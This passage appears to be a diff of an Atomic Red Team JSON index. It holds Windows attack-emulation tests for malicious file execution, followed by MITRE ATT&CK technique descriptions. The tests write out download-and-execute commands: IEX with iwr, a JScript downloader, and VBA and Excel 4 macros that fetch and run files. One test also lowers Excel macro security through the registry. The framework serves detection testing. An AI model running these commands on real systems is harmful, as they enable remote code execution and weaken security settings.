"Remove-Item #{jse_path} -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "OSTap Payload Download", - "auto_generated_guid": "3f3af983-118a-4fa1-85d3-ba4daa739d80", - "description": "Uses cscript //E:jscript to download a file\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "script_file": { - "description": "File to execute jscript code from", - "type": "path", - "default": "%TEMP%\\OSTapGet.js" - }, - "file_url": { - "description": "URL to retrieve file from", - "type": "url", - "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt" - } - }, - "executor": { - "command": "echo var url = \"#{file_url}\", fso = WScript.CreateObject('Scripting.FileSystemObject'), request, stream; request = WScript.CreateObject('MSXML2.ServerXMLHTTP'); request.open('GET', url, false); request.send(); if (request.status === 200) {stream = WScript.CreateObject('ADODB.Stream'); stream.Open(); stream.Type = 1; stream.Write(request.responseBody); stream.Position = 0; stream.SaveToFile(filename, 1); stream.Close();} else {WScript.Quit(1);}WScript.Quit(0); > #{script_file}\ncscript //E:Jscript #{script_file}\n", - "cleanup_command": "del #{script_file} /F /Q >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Maldoc choice flags command execution", - "auto_generated_guid": "0330a5d2-a45a-4272-a9ee-e364411c4b18", - "description": "This Test uses a VBA macro to execute cmd with flags observed in recent maldoc and 2nd stage downloaders. Upon execution, CMD will be launched.\nExecution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "ms_product": { - "description": "Maldoc application Word or Excel", - "type": "string", - "default": "Word" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Microsoft #{ms_product} must be installed\n", - "prereq_command": "try {\n New-Object -COMObject \"#{ms_product}.Application\" | Out-Null\n $process = \"#{ms_product}\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n", - "get_prereq_command": "Write-Host \"You will need to install Microsoft #{ms_product} manually to meet this requirement\"\n" - } - ], - "executor": { - "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \" a = Shell(`\"cmd.exe /c choice /C Y /N /D Y /T 3`\", vbNormalFocus)\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct \"#{ms_product}\"\n", - "name": "powershell" - } - }, - { - "name": "OSTAP JS version", - "auto_generated_guid": "add560ef-20d6-4011-a937-2c340f930911", - "description": "Malicious JavaScript executing CMD which spawns wscript.exe //e:jscript\nExecution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "jse_path": { - "description": "jse file to execute with wscript", - "type": "path", - "default": "C:\\Users\\Public\\art.jse" - }, - "ms_product": { - "description": "Maldoc application Word or Excel", - "type": "string", - "default": "Word" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Microsoft #{ms_product} must be installed\n", - "prereq_command": "try {\n New-Object -COMObject \"#{ms_product}.Application\" | Out-Null\n $process = \"#{ms_product}\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n", - "get_prereq_command": "Write-Host \"You will need to install Microsoft #{ms_product} manually to meet this requirement\"\n" - } - ], - "executor": { - "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \" Open `\"#{jse_path}`\" For Output As #1`n Write #1, `\"WScript.Quit`\"`n Close #1`n a = Shell(`\"cmd.exe /c wscript.exe //E:jscript #{jse_path}`\", vbNormalFocus)`n\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct \"#{ms_product}\"\n", - "name": "powershell" - } - }, - { - "name": "Office launching .bat file from AppData", - "auto_generated_guid": "9215ea92-1ded-41b7-9cd6-79f9a78397aa", - "description": "Microsoft Office creating then launching a .bat script from an AppData directory. The .bat file launches calc.exe when opened.", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "bat_path": { - "description": "Path to malicious .bat file", - "type": "string", - "default": "$(\"$env:temp\\art1204.bat\")" - }, - "ms_product": { - "description": "Maldoc application Word or Excel", - "type": "string", - "default": "Word" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Microsoft #{ms_product} must be installed\n", - "prereq_command": "try {\n New-Object -COMObject \"#{ms_product}.Application\" | Out-Null\n $process = \"#{ms_product}\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n", - "get_prereq_command": "Write-Host \"You will need to install Microsoft #{ms_product} manually to meet this requirement\"\n" - } - ], - "executor": { - "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \" Open `\"#{bat_path}`\" For Output As #1`n Write #1, `\"calc.exe`\"`n Close #1`n a = Shell(`\"cmd.exe /c $bat_path `\", vbNormalFocus)`n\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct #{ms_product}\n", - "name": "powershell" - } - }, - { - "name": "Excel 4 Macro", - "auto_generated_guid": "4ea1fc97-8a46-4b4e-ba48-af43d2a98052", - "description": "This module creates an Excel 4 Macro (XLM) enabled spreadsheet and executes it. The XLM will first write a \"malicious\"\nVBS file to %TEMP%, then execute this file. The VBS will download Process Explorer to the same directory (%TEMP%) and exec.\n\nA note regarding this module. By default, this module will pull the current username from the system and places it into the macro. If\nyou'd like to utilize the \"=GET.WORKSPACE(26)\" method, that many maldoc authors use, you will need to ensure that the User Name associated\nwith Excel matches that of the local system. This username can be found under Files -> Options -> Username\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "download_url": { - "description": "Download URL", - "type": "string", - "default": "https://live.sysinternals.com/procexp.exe" - }, - "uname": { - "description": "Username for pathing", - "type": "string", - "default": "$env:Username" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Microsoft Excel must be installed\n", - "prereq_command": "try {\n New-Object -COMObject \"Excel.Application\" | Out-Null\n Stop-Process -Name \"Excel\"\n exit 0\n} catch { exit 1 }\n", - "get_prereq_command": "Write-Host \"You will need to install Microsoft Excel manually to meet this requirement\"\n" - } - ], - "executor": { - "command": "$fname = \"$env:TEMP\\atomic_redteam_x4m_exec.vbs\"\n$fname1 = \"$env:TEMP\\procexp.exe\"\nif (Test-Path $fname) {\n Remove-Item $fname\n Remove-Item $fname1\n}\n\n$xlApp = New-Object -COMObject \"Excel.Application\"\n$xlApp.Visible = $True\n$xlApp.DisplayAlerts = $False\n$xlBook = $xlApp.Workbooks.Add()\n$sheet = $xlBook.Excel4MacroSheets.Add()\n\nif (\"#{uname}\" -ne \"\") {\n $sheet.Cells.Item(1,1) = \"#{uname}\"\n} else {\n $sheet.Cells.Item(1,1) = \"=GET.WORKSPACE(26)\"\n}\n\n$sheet.Cells.Item(2,1) = \"procexp.exe\"\n$sheet.Cells.Item(3,1) = \"atomic_redteam_x4m_exec.vbs\"\n$sheet.Cells.Item(4,1) = \"=IF(ISNUMBER(SEARCH(`\"64`\",GET.WORKSPACE(1))), GOTO(A5),)\"\n$sheet.Cells.Item(5,1) = \"=FOPEN(`\"C:\\Users\\`\"&A1&`\"\\AppData\\Local\\Temp\\`\"&A3&`\"`\", 3)\"\n$sheet.Cells.Item(6,1) = \"=FWRITELN(A5, `\"url = `\"`\"#{download_url}`\"`\"`\")\"\n$sheet.Cells.Item(7,1) = \"=FWRITELN(A5, `\"`\")\"\n$sheet.Cells.Item(8,1) = \"=FWRITELN(A5, `\"Set winHttp = CreateObject(`\"`\"WinHTTP.WinHTTPrequest.5.1`\"`\")`\")\"\n$sheet.Cells.Item(9,1) = \"=FWRITELN(A5, `\"winHttp.Open `\"`\"GET`\"`\", url, False`\")\"\n$sheet.Cells.Item(10,1) = \"=FWRITELN(A5, `\"winHttp.Send`\")\"\n$sheet.Cells.Item(11,1) = \"=FWRITELN(A5, `\"If winHttp.Status = 200 Then`\")\"\n$sheet.Cells.Item(12,1) = \"=FWRITELN(A5, `\"Set oStream = CreateObject(`\"`\"ADODB.Stream`\"`\")`\")\"\n$sheet.Cells.Item(13,1) = \"=FWRITELN(A5, `\"oStream.Open`\")\"\n$sheet.Cells.Item(14,1) = \"=FWRITELN(A5, `\"oStream.Type = 1`\")\"\n$sheet.Cells.Item(15,1) = \"=FWRITELN(A5, `\"oStream.Write winHttp.responseBody`\")\"\n$sheet.Cells.Item(16,1) = \"=FWRITELN(A5, `\"oStream.SaveToFile `\"`\"C:\\Users\\`\"&A1&`\"\\AppData\\Local\\Temp\\`\"&A2&`\"`\"`\", 2`\")\"\n$sheet.Cells.Item(17,1) = \"=FWRITELN(A5, `\"oStream.Close`\")\"\n$sheet.Cells.Item(18,1) = \"=FWRITELN(A5, `\"End If`\")\"\n$sheet.Cells.Item(19,1) = \"=FCLOSE(A5)\"\n$sheet.Cells.Item(20,1) = \"=EXEC(`\"explorer.exe C:\\Users\\`\"&A1&`\"\\AppData\\Local\\Temp\\`\"&A3&`\"`\")\"\n$sheet.Cells.Item(21,1) = \"=WAIT(NOW()+`\"00:00:05`\")\"\n$sheet.Cells.Item(22,1) = \"=EXEC(`\"explorer.exe C:\\Users\\`\"&A1&`\"\\AppData\\Local\\Temp\\`\"&A2&`\"`\")\"\n$sheet.Cells.Item(23,1) = \"=HALT()\"\n$sheet.Cells.Item(1,1).Name = \"runme\"\n$xlApp.Run(\"runme\")\n$xlApp.Quit()\n\n[System.Runtime.Interopservices.Marshal]::ReleaseComObject($xlBook) | Out-Null\n[System.Runtime.Interopservices.Marshal]::ReleaseComObject($xlApp) | Out-Null\n[System.GC]::Collect()\n[System.GC]::WaitForPendingFinalizers()\n\nRemove-Variable xlBook\nRemove-Variable xlApp\n", - "cleanup_command": "Stop-Process -Name \"procexp*\" -ErrorAction Ignore\nRemove-Item \"$env:TEMP\\atomic_redteam_x4m_exec.vbs\" -ErrorAction Ignore\nRemove-Item \"$env:TEMP\\procexp.exe\" -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Headless Chrome code execution via VBA", - "auto_generated_guid": "a19ee671-ed98-4e9d-b19c-d1954a51585a", - "description": "This module uses Google Chrome combined with ScriptControl to achieve code execution. It spawns a local\nwebserver hosting our malicious payload. Headless Google Chrome will then reach out to this webserver\nand pull down the script and execute it. By default the payload will execute calc.exe on the system.\n", - "supported_platforms": [ - "windows" - ], - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Microsoft Word must be installed\n", - "prereq_command": "try {\n $wdApp = New-Object -COMObject \"Word.Application\"\n Stop-Process -Name \"winword\"\n exit 0 } catch { exit 1 }\n", - "get_prereq_command": "Write-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n" - }, - { - "description": "Google Chrome must be installed\n", - "prereq_command": "try {\n $chromeInstalled = (Get-Item (Get-ItemProperty 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe').'(Default)').VersionInfo.FileName\n exit 0\n} catch { exit 1 }\n", - "get_prereq_command": "Write-Host \"You will need to install Google Chrome manually to meet this requirement\"\n" - } - ], - "executor": { - "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1204.002\\src\\chromeexec-macrocode.txt\" -officeProduct \"Word\" -sub \"ExecChrome\"\n", - "name": "powershell", - "cleanup_command": "Stop-Process -name mshta\n" - } - }, - { - "name": "Potentially Unwanted Applications (PUA)", - "auto_generated_guid": "02f35d62-9fdc-4a97-b899-a5d9a876d295", - "description": "The Potentially Unwanted Applications (PUA) protection feature in antivirus software can identify and block PUAs from downloading and installing on endpoints in your network. These applications are not considered viruses, malware, or other types of threats, but might perform actions on endpoints that adversely affect their performance or use. This file is similar to EICAR test virus file, but is considered a Potentially Unwanted Application (PUA) instead of a VIRUS (i.e. not actually malicious, but is flagged as it to verify anti-pua protection).\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "pua_url": { - "description": "url to PotentiallyUnwanted.exe", - "type": "url", - "default": "http://amtso.eicar.org/PotentiallyUnwanted.exe" - }, - "pua_file": { - "description": "path to PotentiallyUnwanted.exe", - "type": "path", - "default": "$env:TEMP/PotentiallyUnwanted.exe" - } - }, - "executor": { - "name": "powershell", - "elevation_required": false, - "command": "Invoke-WebRequest #{pua_url} -OutFile #{pua_file}\n& \"#{pua_file}\"\n", - "cleanup_command": "Stop-Process -name PotentiallyUnwanted\nRemove-Item #{pua_file} -ErrorAction Ignore\n" - } - }, - { - "name": "Office Generic Payload Download", - "auto_generated_guid": "5202ee05-c420-4148-bf5e-fd7f7d24850c", - "description": "This Test uses a VBA macro to launch Powershell which will download a file from a user defined web server.\nRequired input agruments are c2_domain and file_name\nExecution is handled by [Invoke-MalDoc](https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.\nExample for c2 server located at 127.0.0.1 for the file test.txt which is nested below the parent directory in the tests/my-test folder\nExample input args for file in root directory c2-domain = 127.0.0.1, file-name = test.txt\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "macro_path": { - "description": "Location of file which will be converted to a VBA macro\n", - "type": "path", - "default": "PathToAtomicsFolder/T1204.002/src/test9-GenericPayloadDownload.txt" - }, - "c2_domain": { - "description": "This required variable points to a user defined HTTP server that will host the file_name in the c2_parent_directory.\n", - "type": "url", - "default": null - }, - "c2_parent_directory": { - "description": "Parent directory where you have the \"malicious\" file on c2_domain server.\nWill default to root directory. Forward slashes are not needed at begining or ending of directory path\n", - "type": "path", - "default": "" - }, - "file_name": { - "description": "\"Malicious\" file to be downloaded.\nThis required file needs to be place on the user provided c2 domain\nExample file can be found at PathToAtomicsFolder/T1204.002/src/test9-example-payload.txt\n", - "type": "string", - "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/test9-example-payload.txt" - }, - "ms_product": { - "description": "Maldoc application Word or Excel\n", - "type": "string", - "default": "Word" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Destination c2_domain name or IP address must be set to a running HTTP server.\n", - "prereq_command": "if (#{c2_domain}) (exit 0) else (exit 1)\n", - "get_prereq_command": "Write-Host \"Destination c2 server domain name or IP address must be set and reachable for HTTP service\"\n" - }, - { - "description": "Microsoftt #{ms_product} must be installed\n", - "prereq_command": "try {\n New-Object -COMObject \"#{ms_product}.Application\" | Out-Null\n $process = \"#{ms_product}\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n", - "get_prereq_command": "Write-Host \"You will need to install Microsoft #{ms_product} manually to meet this requirement\"\n" - } - ], - "executor": { - "name": "powershell", - "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macroCode = Get-Content \"#{macro_path}\" -Raw\n$URL = \"#{c2_domain}\" + \"/\" + \"#{c2_parent_directory}\"\n$macroCode = $macroCode -replace 'serverPath', $URL -replace 'fileName', \"#{file_name}\"\nInvoke-MalDoc -macroCode $macroCode -officeProduct \"#{ms_product}\"\n", - "cleanup_command": "Remove-Item \"C:\\Users\\$env:username\\Desktop\\#{file_name}\" -ErrorAction Ignore\n" - } - }, - { - "name": "LNK Payload Download", - "auto_generated_guid": "581d7521-9c4b-420e-9695-2aec5241167f", - "description": "This lnk files invokes powershell to download putty from the internet and opens the file. https://twitter.com/ankit_anubhav/status/1518932941090410496", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "Invoke-WebRequest -OutFile $env:Temp\\test10.lnk \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/bin/test10.lnk\"\n$file1 = \"$env:Temp\\test10.lnk\"\nStart-Process $file1\nStart-Sleep -s 10\ntaskkill /IM a.exe /F\n", - "cleanup_command": "$file1 = \"$env:Temp\\test10.lnk\"\n$file2 = \"$env:Temp\\a.exe\"\nRemove-Item $file1 -ErrorAction Ignore\nRemove-Item $file2 -ErrorAction Ignore", - "name": "powershell" - } - }, - { - "name": "Mirror Blast Emulation", - "auto_generated_guid": "24fd9719-7419-42dd-bce6-ab3463110b3c", - "description": "Emulates the JS -> MSI chain of the MirrorBlast T505 campaign by executing an xlsm file designed. \nRequires the 32 bit version of Office to run. [MirrorBlast Campaign Analysis](https://blog.morphisec.com/explosive-new-mirrorblast-campaign-targets-financial-companies)\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "Cd \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\"\nNew-ItemProperty -Path Registry::HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Office\\16.0\\Excel\\Security -Name \"VBAWarnings\" -Value \"1\" -PropertyType DWORD -Force | Out-Null\n& '.\\Excel 2016.lnk' PathToAtomicsFolder\\T1204.002\\bin\\mirrorblast_emulation.xlsm", - "cleanup_command": "reg delete \"HKCU\\SOFTWARE\\Microsoft\\Office\\16.0\\Excel\\Security\" /v \"VBAWarnings\" /f", - "name": "powershell" - } - } - ] - }, - "T1053.003": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c", - "type": "attack-pattern", - "created": "2019-12-03T14:25:00.538Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1053.003", - "url": "https://attack.mitre.org/techniques/T1053/003" - }, - { - "source_name": "20 macOS Common Tools and Techniques", - "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", - "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021." - } - ], - "modified": "2022-03-24T17:33:03.443Z", - "name": "Scheduled Task/Job: Cron", - "description": "Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Command: Command Execution", - "Scheduled Job: Scheduled Job Creation", - "File: File Modification", - "Process: Process Creation" - ], - "x_mitre_permissions_required": [ - "User" - ], - "identifier": "T1053.003" - }, - "atomic_tests": [] - }, - "T1559.001": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", - "type": "attack-pattern", - "created": "2020-02-12T14:09:53.107Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1559.001", - "url": "https://attack.mitre.org/techniques/T1559/001" - }, - { - "source_name": "Fireeye Hunting COM June 2019", - "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html", - "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019." - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx", - "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.", - "source_name": "Microsoft COM" - }, - { - "url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html", - "description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.", - "source_name": "ProjectZero File Write EoP Apr 2018" - }, - { - "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/", - "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.", - "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017" - }, - { - "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", - "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.", - "source_name": "Enigma MMC20 COM Jan 2017" - } - ], - "modified": "2021-07-26T22:51:20.448Z", - "name": "Component Object Model", - "description": "Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "Module: Module Load", - "Script: Script Execution" - ], - "x_mitre_remote_support": true - }, - "atomic_tests": [] - }, - "T1053": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "Linux", - "macOS", - "Containers" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Prashant Verma, Paladion", - "Leo Loobeek, @leoloobeek", - "Travis Smith, Tripwire", - "Alain Homewood, Insomnia Security", - "Andrew Northern, @ex_raritas", - "Bryan Campbell, @bry_campbell", - "Zachary Abzug, @ZackDoesML", - "Selena Larson, @selenalarson" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", - "created": "2017-05-31T21:30:46.977Z", - "x_mitre_version": "2.2", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1053", - "url": "https://attack.mitre.org/techniques/T1053" - }, - { - "source_name": "ProofPoint Serpent", - "url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain", - "description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022." - }, - { - "source_name": "TechNet Task Scheduler Security", - "url": "https://technet.microsoft.com/en-us/library/cc785125.aspx", - "description": "Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016." - }, - { - "url": "https://capec.mitre.org/data/definitions/557.html", - "source_name": "capec", - "external_id": "CAPEC-557" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)", - "modified": "2022-04-14T20:59:52.686Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Scheduled Task/Job", - "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Scheduled Job: Scheduled Job Creation", - "Command: Command Execution", - "Container: Container Creation", - "Process: Process Creation", - "File: File Creation", - "File: File Modification" - ], - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM", - "User" - ], - "x_mitre_effective_permissions": [ - "SYSTEM", - "Administrator", - "User" - ], - "x_mitre_remote_support": true, - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1059.002": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Phil Stokes, SentinelOne" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb", - "created": "2020-03-09T14:07:54.329Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1059.002", - "url": "https://attack.mitre.org/techniques/T1059/002" - }, - { - "source_name": "Apple AppleScript", - "url": "https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html", - "description": "Apple. (2016, January 25). Introduction to AppleScript Language Guide. Retrieved March 28, 2020." - }, - { - "source_name": "SentinelOne macOS Red Team", - "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/", - "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020." - }, - { - "source_name": "SentinelOne AppleScript", - "url": "https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/", - "description": "Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020." - }, - { - "source_name": "Macro Malware Targets Macs", - "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/", - "description": "Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may 